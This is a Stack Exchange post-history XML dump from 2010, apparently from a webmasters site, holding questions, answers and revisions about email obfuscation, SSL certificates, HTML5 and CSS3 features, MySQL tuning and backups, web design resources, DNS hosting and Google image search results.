  <row Id="1784" PostHistoryTypeId="5" PostId="314" RevisionGUID="c8e7b11c-711a-4913-8071-730449631a18" CreationDate="2010-07-16T00:15:15.967" UserId="120" Comment="added 127 characters in body; added 4 characters in body" Text="**Use natural language to spell out the eMail address...**&#xD;&#xA;&#xD;&#xA;Ex:&#xD;&#xA;&#xD;&#xA;    thatguy at gmail dot com&#xD;&#xA;&#xD;&#xA;You'd be surprised how much harder it is to write a bot that can differentiate natural language vs writing a bot that just searches for the @ sign and regexes a normal address.&#xD;&#xA;&#xD;&#xA;It isn't 100% foolproof but it isn't any worse than obfuscation and it won't alienate your visually impaired users and/or users that have JavaScript disabled.&#xD;&#xA;&#xD;&#xA;**Update: [Here's an example of this technique in action][1].**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/language.functions.php" />
  <row Id="1785" PostHistoryTypeId="2" PostId="988" RevisionGUID="b35e143f-4c3d-46da-9219-116afbf88383" CreationDate="2010-07-16T00:16:31.893" UserId="180" Text="The only problem that I've seen with wildcard certs so far is that they don't appear to have any that support EV.  This is only really a concern if you want the cool browser chrome saying &quot;hey, this site is offically OK and vertified&quot;.  If you're only looking for secure transport and don't care about customer purchasing confidence, go the cheap way.  Or buy EV for the www server, and wildcard for the API." />
  <row Id="1786" PostHistoryTypeId="5" PostId="974" RevisionGUID="b31ba5c1-c2be-4c26-ad23-2fca73025cde" CreationDate="2010-07-16T00:20:04.147" UserId="307" Comment="included reference to the flexible box model." Text="HTML5 is *huge*, but also **awesome**.&#xD;&#xA;&#xD;&#xA;In my view, it is mostly about *interoperability*. The spec goes and specifies even edge cases to try and make sure that **all browsers read the markup the same way**.&#xD;&#xA;&#xD;&#xA;In second place, HTML5 has video and audio, which do exactly what the name says it does. If you want to include video or audio, HTML5 should reduce your plugin needs.&#xD;&#xA;&#xD;&#xA;In third place, HTML5 includes lots of accessibility and semantic help. For instance, elements like `&lt;section&gt;` and `&lt;article&gt;` help machines figure out what content is supposed to be. New input types like `&lt;input type=email&gt;` can also be useful for the same reasons, although the new input types include custom UIs which make them useful even for &quot;common&quot; human readers.&#xD;&#xA;&#xD;&#xA;Note that the new Forms features are much more than new input types. It also includes support for placeholder text and several other attributes.&#xD;&#xA;&#xD;&#xA;HTML5 includes `&lt;canvas&gt;`, which allows drawing 2D(and, with WebGL, 3D) shapes like charts or even render games.&#xD;&#xA;&#xD;&#xA;Old behavior is now standardized, such as Internet Explorer's ancient `contentEditable`.&#xD;&#xA;&#xD;&#xA;The DOCTYPE is finally decent! You can now actually memorize it! `&lt;!DOCTYPE html&gt;`&#xD;&#xA;&#xD;&#xA;Specifying encoding is also easier, with `&lt;meta encoding=utf-8&gt;`.&#xD;&#xA;&#xD;&#xA;If you want to send data to the client and associate it with elements, you can now do it with custom attributes. For instance, `&lt;div data-status=open&gt;Open&lt;/div&gt;` is now finally allowed.&#xD;&#xA;&#xD;&#xA;You can now include SVG and MathML in HTML documents. Previously, you could only do it with XHTML documents.&#xD;&#xA;&#xD;&#xA;Among the multiple new functions and fields HTML5 defines, one of the most impressive is classList, which enables you to manipulate the class attribute more easily. Instead of having to getAttribute/setAttribute and use complex hacks to figure out which classes an element has and remove a specific class from that element, classList makes those hard situations very simple.&#xD;&#xA;&#xD;&#xA;There are also multiple related specs, such as Web Workers, Web Sockets and IndexedDB, which are not really part of HTML5 but everybody talks about them as if they were. They are very useful for taking advantage of multi-core computers, communicating with servers and storing data locally.&#xD;&#xA;&#xD;&#xA;As for CSS3, it includes support for *animations*, *transitions*, *rounded borders* and the [flexible box model][1].&#xD;&#xA;&#xD;&#xA;Also new in CSS3 are the new selectors, which make it simpler to match specific elements on a page(such as only the odd or even rows in a table).&#xD;&#xA;&#xD;&#xA;Opacity, new units, marquee and ruby are also part of CSS3.&#xD;&#xA;&#xD;&#xA;I think that pretty much covers all important parts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hacks.mozilla.org/2010/04/the-css-3-flexible-box-model/" />
  <row Id="1787" PostHistoryTypeId="2" PostId="989" RevisionGUID="55802ef0-fdf8-4747-8249-a4015b8bf540" CreationDate="2010-07-16T00:20:38.453" UserId="427" Text="In reply to the title of your question, &quot;Site performance&quot; in Google Webmaster Tools is measured as &quot;the total time from the moment the user clicks on a link to your page until the time the entire page is loaded and displayed in a browser&quot;.&#xD;&#xA;&#xD;&#xA;And it's collected from people that have the Google Toolbar installed, with the PageRank feature activated.&#xD;&#xA;&#xD;&#xA;Source: http://www.google.com/support/webmasters/bin/answer.py?answer=158541&amp;hl=en" />
  <row Id="1788" PostHistoryTypeId="2" PostId="990" RevisionGUID="3685e022-1fba-4d24-b062-079efd0ff568" CreationDate="2010-07-16T00:31:53.360" UserId="179" Text="To keep track of features and specifications you can check &lt;a href=&quot;http://caniuse.com/&quot;&gt;When can I use&lt;/a&gt;. It includes HTML5 and CSS3 features and things like SVG, PNG, CSS2.1 and CSS2. It also tracks their status of approval (Recommendation, Proposed Recommendation, Candidate Recommendation, Working Draft, IETF standard).&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://heideri.ch/jso/&quot;&gt;HTML5 Security Cheatsheet&lt;/a&gt; tracks bugs in HTML5 features as implemented in various browsers, and also includes bugs in existing features that are good to keep track of as well.&#xD;&#xA;&#xD;&#xA;One of the big things that HTML5 brings is the ability for your markup to be much more &lt;em&gt;semantic&lt;/em&gt;, and overall much easier to read/write and have smaller filesizes. Instead of having &lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;&lt;/code&gt;, you just have &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;. Doesn't seem like much but it adds up.&#xD;&#xA;&#xD;&#xA;Using HTML5 elements does not automatically make your code semantic, however. The WHATWG has written an article called &lt;a href=&quot;http://blog.whatwg.org/is-not-just-a-semantic&quot;&gt;&amp;lt;section&amp;gt; is not just a &quot;semantic &amp;lt;div&amp;gt;&quot;&lt;/a&gt; explaining that it is not simply a container element.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;In HTML 5, there is an algorithm for constructing an outline view of documents. This can be used, for example by AT, to help a user navigate through a document. And &amp;lt;section&amp;gt; and friends are an important part of this algorithm. Each time you nest a &amp;lt;section&amp;gt;, you increase the outline depth by 1 (in case you are wondering what the advantages of this model are compared to the traditional &amp;lt;h1&amp;gt;-&amp;lt;h6&amp;gt; model, consider a web based feedreader that wants to integrate the document structure of the syndicated content with that of the surrounding site. In HTML 4 this means parsing all the content and renumbering all the headings. In HTML5 the headings end up at the right depth for free).&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;If you just blindly convert all the &amp;lt;div&amp;gt;s on your pages to &amp;lt;sections&amp;gt; it's pretty unlikely your page will have the outline you expected. And, apart from being a semantic faux-pas, this will confuse the hell out of people who rely on headings for navigation.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1789" PostHistoryTypeId="2" PostId="991" RevisionGUID="f316fc5a-e6b5-41d7-ba50-87407e5a3c78" CreationDate="2010-07-16T00:48:18.023" UserId="427" Text="A. Apache is a memory hog. You would get a huge performance boost if you switched to nginx with PHP via fastcgi.&#xD;&#xA;&#xD;&#xA;B. If MySQL is really your biggest problem (doubt it), you can disable InnoDB if you don't need actually need InnoDB support for something else. Edit /etc/mysql/my.cnf and add a line saying &quot;skip-innodb&quot;, then run &quot;/etc/init.d/mysql restart&quot;. That should save you a few dozen megs of RAM.&#xD;&#xA;&#xD;&#xA;C. You're not cheap, Slicehost are the cheapskates. Linode (main competitor) is now $19.95 for a 512 MB &quot;slice&quot;. Yeah, and it was a free upgrade, too. http://blog.linode.com/2010/06/16/linode-turns-7-big-ram-increase/" />
  <row Id="1790" PostHistoryTypeId="5" PostId="990" RevisionGUID="8ff867d2-e889-4704-b5a4-a9eb12c7b777" CreationDate="2010-07-16T00:52:21.960" UserId="179" Comment="added more technical information. " Text="To keep track of features and specifications you can check &lt;a href=&quot;http://caniuse.com/&quot;&gt;When can I use&lt;/a&gt;. It includes HTML5 and CSS3 features and things like SVG, PNG, CSS2.1 and CSS2. It also tracks their status of approval (Recommendation, Proposed Recommendation, Candidate Recommendation, Working Draft, IETF standard).&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://heideri.ch/jso/&quot;&gt;HTML5 Security Cheatsheet&lt;/a&gt; tracks bugs in HTML5 features as implemented in various browsers, and also includes bugs in existing features that are good to keep track of as well.&#xD;&#xA;&#xD;&#xA;One of the big things that HTML5 brings is the ability for your markup to be much more &lt;em&gt;semantic&lt;/em&gt;, and overall much easier to read/write and have smaller filesizes. Instead of having &lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;&lt;/code&gt;, you just have &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;. Doesn't seem like much but it adds up.&#xD;&#xA;&#xD;&#xA;Using HTML5 elements does not automatically make your code semantic, however. The WHATWG has written an article called &lt;a href=&quot;http://blog.whatwg.org/is-not-just-a-semantic&quot;&gt;&amp;lt;section&amp;gt; is not just a &quot;semantic &amp;lt;div&amp;gt;&quot;&lt;/a&gt; explaining that it is not simply a container element.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;In HTML 5, there is an algorithm for constructing an outline view of documents. This can be used, for example by AT, to help a user navigate through a document. And &amp;lt;section&amp;gt; and friends are an important part of this algorithm. Each time you nest a &amp;lt;section&amp;gt;, you increase the outline depth by 1 (in case you are wondering what the advantages of this model are compared to the traditional &amp;lt;h1&amp;gt;-&amp;lt;h6&amp;gt; model, consider a web based feedreader that wants to integrate the document structure of the syndicated content with that of the surrounding site. In HTML 4 this means parsing all the content and renumbering all the headings. In HTML5 the headings end up at the right depth for free).&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;If you just blindly convert all the &amp;lt;div&amp;gt;s on your pages to &amp;lt;sections&amp;gt; it's pretty unlikely your page will have the outline you expected. And, apart from being a semantic faux-pas, this will confuse the hell out of people who rely on headings for navigation.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;In addition to &lt;a href=&quot;http://html5rocks.com&quot;&gt;html5rocks.com&lt;/a&gt; you can keep up with &lt;a href=&quot;http://html5doctor.com&quot;&gt;html5doctor.com&lt;/a&gt; and &lt;a href=&quot;http://html5gallery.com&quot;&gt;html5gallery.com&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;Like everything else in this world, there's a framework for HTML5 web applications called &lt;a href=&quot;http://www.sproutcore.com/&quot;&gt;SproutCore&lt;/a&gt;, built by an &lt;a href=&quot;http://blog.sproutcore.com/post/756343010/the-next-revolution&quot;&gt;ex-Apple engineer&lt;/a&gt; named Charles Jolley.&#xD;&#xA;&#xD;&#xA;Many elements from XHTML1 and HTML4 have been deprecated. The following elements are not supported in HTML5: &lt;code&gt;&amp;lt;acronym&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;basefont&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;big&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;center&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;dir&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frameset&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;noframes&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;s&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;strike&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;tt&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;u&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;xmp&amp;gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;If you're a fan of CSS Resets, there's an &lt;a href=&quot;http://html5doctor.com/html-5-reset-stylesheet/&quot;&gt;HTML5 CSS Reset&lt;/a&gt; available from HTML5 Doctor. I have made three additions to this reset for my personal pages:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;text-rendering: optimizeLegibility;&lt;/code&gt; added to the styles in the definition for &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;label&lt;/code&gt; included in definition with &lt;code&gt;input&lt;/code&gt; and &lt;code&gt;select&lt;/code&gt; since it needs &lt;code&gt;vertical-align: middle;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;styles for &lt;code&gt;ins&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; from &lt;a href=&quot;http://meyerweb.com/eric/tools/css/reset/&quot;&gt;Eric Meyer's CSS Reset&lt;/a&gt; added back in&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;" />
  <row Id="1791" PostHistoryTypeId="2" PostId="992" RevisionGUID="70fae6f3-d3c2-4d7d-b771-d2b4ecbedb11" CreationDate="2010-07-16T01:16:55.467" UserId="437" Text="My graphics skills are seriously lacking. I can see when something looks nice and when it doesn't but have a hard time coming up with anything myself given a blank slate. What should I do?" />
  <row Id="1792" PostHistoryTypeId="1" PostId="992" RevisionGUID="70fae6f3-d3c2-4d7d-b771-d2b4ecbedb11" CreationDate="2010-07-16T01:16:55.467" UserId="437" Text="As a non-designer what are some good sites/books/tutorials for learning web design?" />
  <row Id="1793" PostHistoryTypeId="3" PostId="992" RevisionGUID="70fae6f3-d3c2-4d7d-b771-d2b4ecbedb11" CreationDate="2010-07-16T01:16:55.467" UserId="437" Text="&lt;css&gt;&lt;design&gt;&lt;graphics&gt;&lt;website-design&gt;" />
  <row Id="1794" PostHistoryTypeId="5" PostId="991" RevisionGUID="88064889-c76f-4438-ba85-b6c0bf4f6753" CreationDate="2010-07-16T01:17:44.967" UserId="427" Comment="deleted double word" Text="A. Apache is a memory hog. You would get a huge performance boost if you switched to nginx with PHP via fastcgi.&#xD;&#xA;&#xD;&#xA;B. If MySQL is really your biggest problem (doubt it), you can disable InnoDB if you don't actually need InnoDB support for something else. Edit /etc/mysql/my.cnf and add a line saying &quot;skip-innodb&quot;, then run &quot;/etc/init.d/mysql restart&quot;. That should save you a few dozen megs of RAM.&#xD;&#xA;&#xD;&#xA;C. You're not cheap, Slicehost are the cheapskates. Linode (main competitor) is now $19.95 for a 512 MB &quot;slice&quot;. Yeah, and it was a free upgrade, too. http://blog.linode.com/2010/06/16/linode-turns-7-big-ram-increase/" />
  <row Id="1795" PostHistoryTypeId="5" PostId="990" RevisionGUID="905d8e27-205d-4440-8251-43e93a2ea3d8" CreationDate="2010-07-16T01:21:13.180" UserId="179" Comment="More technical information" Text="To keep track of features and specifications support you can check &lt;a href=&quot;http://caniuse.com/&quot;&gt;When can I use&lt;/a&gt;. It includes HTML5 and CSS3 features and things like SVG, PNG, CSS2.1 and CSS2. It also tracks their status of approval (Recommendation, Proposed Recommendation, Candidate Recommendation, Working Draft, IETF standard). &lt;a href=&quot;http://www.findmebyip.com/litmus/&quot;&gt;FindMeByIP&lt;/a&gt; maintains matrices of supported CSS3 features only, by browser.&#xD;&#xA;&#xD;&#xA;Some rejiggering and simplification of syntax took place in the nuts and bolts:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Simplified doctype string: &lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Simplified &lt;code&gt;language&lt;/code&gt; attribute for &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag: &lt;code&gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;(can still include &lt;code&gt;xmlns&lt;/code&gt; and &lt;code&gt;xml:lang&lt;/code&gt; if you want XML compliance)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Dedicated &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag for &lt;code&gt;charset&lt;/code&gt;: &lt;code&gt;&amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;script&lt;/code&gt; no longer accepts &lt;code&gt;type&lt;/code&gt; attribute, requires &lt;code&gt;charset&lt;/code&gt;:&lt;br /&gt;&lt;code&gt;&amp;lt;script src=&quot;/media/js/jquery.js&quot; charset=&quot;utf-8&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;HTML5 brings the ability for your markup to be much more &lt;em&gt;semantic&lt;/em&gt;, and overall much easier to read/write and have smaller file sizes. Instead of having &lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;&lt;/code&gt;, you just have &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;. Doesn't seem like much but it adds up.&#xD;&#xA;&#xD;&#xA;Many elements from XHTML1 and HTML4 have been deprecated. The following elements are not supported in HTML5: &lt;code&gt;&amp;lt;acronym&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;basefont&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;big&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;center&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;dir&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frameset&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;noframes&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;s&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;strike&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;tt&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;u&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;xmp&amp;gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;If you're a fan of CSS Resets, there's an &lt;a href=&quot;http://html5doctor.com/html-5-reset-stylesheet/&quot;&gt;HTML5 CSS Reset&lt;/a&gt; available from HTML5 Doctor. I have made three additions to this reset for my personal pages:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;text-rendering: optimizeLegibility;&lt;/code&gt; added to the styles in the definition for &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;label&lt;/code&gt; included in definition with &lt;code&gt;input&lt;/code&gt; and &lt;code&gt;select&lt;/code&gt; since it needs &lt;code&gt;vertical-align: middle;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;styles for &lt;code&gt;ins&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; from &lt;a href=&quot;http://meyerweb.com/eric/tools/css/reset/&quot;&gt;Eric Meyer's CSS Reset&lt;/a&gt; added back in&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;A competing reset called &lt;a href=&quot;http://code.google.com/p/reset5/&quot;&gt;reset5&lt;/a&gt; is available, but I have not yet evaluated it personally. It is based on &lt;em&gt;both&lt;/em&gt; the Eric Meyer and HTML5 Doctor resets.&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://heideri.ch/jso/&quot;&gt;HTML5 Security Cheatsheet&lt;/a&gt; tracks bugs in HTML5 features as implemented in various browsers, and also includes bugs in existing features that are good to keep track of as well.&#xD;&#xA;&#xD;&#xA;Using HTML5 elements does not automatically make your code semantic, however. The WHATWG has written an article called &lt;a href=&quot;http://blog.whatwg.org/is-not-just-a-semantic&quot;&gt;&amp;lt;section&amp;gt; is not just a &quot;semantic &amp;lt;div&amp;gt;&quot;&lt;/a&gt; explaining that it is not simply a container element.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;In HTML 5, there is an algorithm for constructing an outline view of documents. This can be used, for example by AT, to help a user navigate through a document. And &amp;lt;section&amp;gt; and friends are an important part of this algorithm. Each time you nest a &amp;lt;section&amp;gt;, you increase the outline depth by 1 (in case you are wondering what the advantages of this model are compared to the traditional &amp;lt;h1&amp;gt;-&amp;lt;h6&amp;gt; model, consider a web based feedreader that wants to integrate the document structure of the syndicated content with that of the surrounding site. In HTML 4 this means parsing all the content and renumbering all the headings. In HTML5 the headings end up at the right depth for free).&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;If you just blindly convert all the &amp;lt;div&amp;gt;s on your pages to &amp;lt;sections&amp;gt; it's pretty unlikely your page will have the outline you expected. And, apart from being a semantic faux-pas, this will confuse the hell out of people who rely on headings for navigation.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Like everything else in this world, there's a framework for HTML5 web applications called &lt;a href=&quot;http://www.sproutcore.com/&quot;&gt;SproutCore&lt;/a&gt;, built by an &lt;a href=&quot;http://blog.sproutcore.com/post/756343010/the-next-revolution&quot;&gt;ex-Apple engineer&lt;/a&gt; named Charles Jolley.&#xD;&#xA;&#xD;&#xA;In addition to &lt;a href=&quot;http://html5rocks.com&quot;&gt;html5rocks.com&lt;/a&gt; you can keep up with &lt;a href=&quot;http://html5doctor.com&quot;&gt;html5doctor.com&lt;/a&gt; and &lt;a href=&quot;http://html5gallery.com&quot;&gt;html5gallery.com&lt;/a&gt;." />
  <row Id="1796" PostHistoryTypeId="2" PostId="993" RevisionGUID="6082058a-370a-4068-a122-0f4c0bd03732" CreationDate="2010-07-16T01:23:25.593" UserId="72" Text="There are 2 social application from Facebook that can be used as chat/comments box.&#xD;&#xA;&#xD;&#xA;[Comments][1] :&#xD;&#xA;&#xD;&#xA;This is a basic comment box where people will be able to add comments.&#xD;&#xA;&#xD;&#xA;[Live Stream][2] :&#xD;&#xA;&#xD;&#xA;This basicly acts as a chat box where people will be able to discuss live about something.&#xD;&#xA;&#xD;&#xA;The easiest way to make those work on your page is to download and use the [Javascript SDK][3] of Facebook. It's pretty easy to use. You can set up those in few hours without problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/plugins/comments&#xD;&#xA;  [2]: http://developers.facebook.com/docs/reference/plugins/live-stream&#xD;&#xA;  [3]: http://developers.facebook.com/docs/reference/javascript/" />
  <row Id="1797" PostHistoryTypeId="2" PostId="994" RevisionGUID="6aa38575-362e-4cfb-a880-79aeafb1e0fa" CreationDate="2010-07-16T01:29:27.123" UserId="427" Text="mysqlhotcopy is a Perl script circa '05. So it adds dependencies, for Perl and various Perl. I'd pass on this one.&#xD;&#xA;&#xD;&#xA;mysqldump is a C program being distributed with MySQL and actively maintained. If you add the -x option it locks the tables so you're golden.&#xD;&#xA;&#xD;&#xA;I personally have [this script][1] in cron (you'll want to remove those ` escapes if you want to run it by hand) and it works like a charm for me, backing up each one of my databases to a local file, as well as a full dump of all databases.&#xD;&#xA;&#xD;&#xA;And if you have more than one database there, you'll also want to dump the grants for them. [Maatkit][2] will help you there, and you'll just `mk-show-grants -uroot -pPASSWORD &gt; mygrantsdatabase.sql` to have your grants tables backed up and ready to import again.&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/tjz/mysql-backup/blob/master/mysql-backup&#xD;&#xA;  [2]: http://www.maatkit.org/" />
  <row Id="1798" PostHistoryTypeId="2" PostId="995" RevisionGUID="2c014f7e-3e24-46dc-a62d-597d1cff4b6e" CreationDate="2010-07-16T01:42:34.983" UserId="368" Text="Doing an [Amazon][1] book search for &quot;website design&quot; turns up a lot of promising results that are both inexpensive and highly-rated.  The SitePoint books I've read are pragmatic and useful.&#xD;&#xA;&#xD;&#xA;It's good that you know what you like when you see it.  I'm no design expert, but I usually start by finding several Web sites that I really like, borrowing elements from each, and combining them into an original design.  I don't mean stealing copyrighted content or images, but instead finding inspiration in what's already out there.&#xD;&#xA;&#xD;&#xA;Being a good designer takes practice, and it helps to have some general artistic skill.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/" />
  <row Id="1799" PostHistoryTypeId="2" PostId="996" RevisionGUID="04b659f7-b41d-44ad-9238-3f376c831ef8" CreationDate="2010-07-16T01:47:33.710" UserId="427" Text="If you're willing to fund your account with at least $50 (to be used for purchasing domains), Moniker has an API. Email Don Lyons (firstname AT moniker.com), I'm sure he'll send you the info ASAP.&#xD;&#xA;&#xD;&#xA;PS: You may be able to find better APIs and prices elsewhere, but Moniker has a reputation of never losing a domain and bending over backwards to recover stolen domains and such." />
  <row Id="1800" PostHistoryTypeId="2" PostId="997" RevisionGUID="8388941d-80d7-4e92-a3a8-12d95e91bc3e" CreationDate="2010-07-16T01:50:05.637" UserId="97" Text="There are a number of sites out there for folks to get a sense of what's going on in the design arena.  Here are some on my RSS feed:&#xD;&#xA;&#xD;&#xA;Design Reviver - http://designreviver.com/&lt;br/&gt;&#xD;&#xA;Six Revisions - http://sixrevisions.com/&lt;br/&gt;&#xD;&#xA;A List Apart - http://www.alistapart.com/articles/&lt;br/&gt;&#xD;&#xA;Smashing Magazine - http://www.smashingmagazine.com/&lt;br/&gt;&#xD;&#xA;WebAppers - http://www.webappers.com/&#xD;&#xA;&#xD;&#xA;Their content varies, but they usually provide some nice showcases of a particular design or style and example sites." />
  <row Id="1801" PostHistoryTypeId="2" PostId="998" RevisionGUID="7672b33f-c9e6-4078-a5eb-d3781ba03a2b" CreationDate="2010-07-16T01:53:52.867" UserId="108" Text="Also of note, Google will almost always only show this for the very first result for your search." />
  <row Id="1802" PostHistoryTypeId="2" PostId="999" RevisionGUID="dfaa1682-a2ed-4a1f-b84f-930ebbf8bbb6" CreationDate="2010-07-16T01:53:53.100" UserId="427" Text="You should host your DNS elsewhere. It will save your behind when you switch registrars, it will allow you to control TTLs like crazy so you actually have close to 0 perceived downtime for users when you change hosting, etc.&#xD;&#xA;&#xD;&#xA;I personally recommend [DNS Made Easy][1]. Have been with them for about 3 years now and they rule (at their price point).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dnsmadeeasy.com/" />
  <row Id="1803" PostHistoryTypeId="2" PostId="1000" RevisionGUID="c57cc565-60bb-46df-9925-559c9f3aacac" CreationDate="2010-07-16T01:55:37.230" UserId="108" Text="I know when I search Google for specific things I get back images underneath some sites.  How do I get that to work for my site?  I have even seen some sites that will return 4 or 5 images for the the site that are all relevant to my search" />
  <row Id="1804" PostHistoryTypeId="1" PostId="1000" RevisionGUID="c57cc565-60bb-46df-9925-559c9f3aacac" CreationDate="2010-07-16T01:55:37.230" UserId="108" Text="How do I get Images for my site to Return in Google Searches" />
  <row Id="1805" PostHistoryTypeId="3" PostId="1000" RevisionGUID="c57cc565-60bb-46df-9925-559c9f3aacac" CreationDate="2010-07-16T01:55:37.230" UserId="108" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="1806" PostHistoryTypeId="2" PostId="1001" RevisionGUID="63787afd-c000-4b38-b7fb-48b4e71b9c0b" CreationDate="2010-07-16T02:05:34.977" UserId="180" Text="There are a couple ways that I know of that Google places images in the search results&#xD;&#xA;&#xD;&#xA;The first of these is [Rich Snippets][1], where they pick up webmaster-generated semantic markup for some specific types of site.  Follow the link for a full description of this.&#xD;&#xA;&#xD;&#xA;The second is [Universal Search][2], where Google mixes in results from its vertical searches (images, videos, maps, etc) with the regular text SERPs.  These are generated algorithmically, and if you can figure out the secret sauce you may be able to retire :)&#xD;&#xA;&#xD;&#xA;If you're seeing something different, please provide an example!&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/05/introducing-rich-snippets.html&#xD;&#xA;  [2]: http://searchengineland.com/google-universal-search-2008-edition-13256" />
  <row Id="1807" PostHistoryTypeId="5" PostId="1001" RevisionGUID="9a8fb96f-f6b3-4885-8ee1-3ea954dce52f" CreationDate="2010-07-16T02:10:48.007" UserId="180" Comment="Added info on making images more findable." Text="There are a couple ways that I know of that Google places images in the search results&#xD;&#xA;&#xD;&#xA;The first of these is [Rich Snippets][1], where they pick up webmaster-generated semantic markup for some specific types of site.  Follow the link for a full description of this.&#xD;&#xA;&#xD;&#xA;The second is [Universal Search][2], where Google mixes in results from its vertical searches (images, videos, maps, etc) with the regular text SERPs.  These are generated algorithmically, and if you can figure out the secret sauce you may be able to retire :)  It is important though that you make sure that the alt attribute and surrounding text or caption are relevant to the image.  Google can't derive meaning from the image itself (other than OCR), so picks up relevance from context.&#xD;&#xA;&#xD;&#xA;If you're seeing something different being displayed, please provide an example!&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/05/introducing-rich-snippets.html&#xD;&#xA;  [2]: http://searchengineland.com/google-universal-search-2008-edition-13256" />
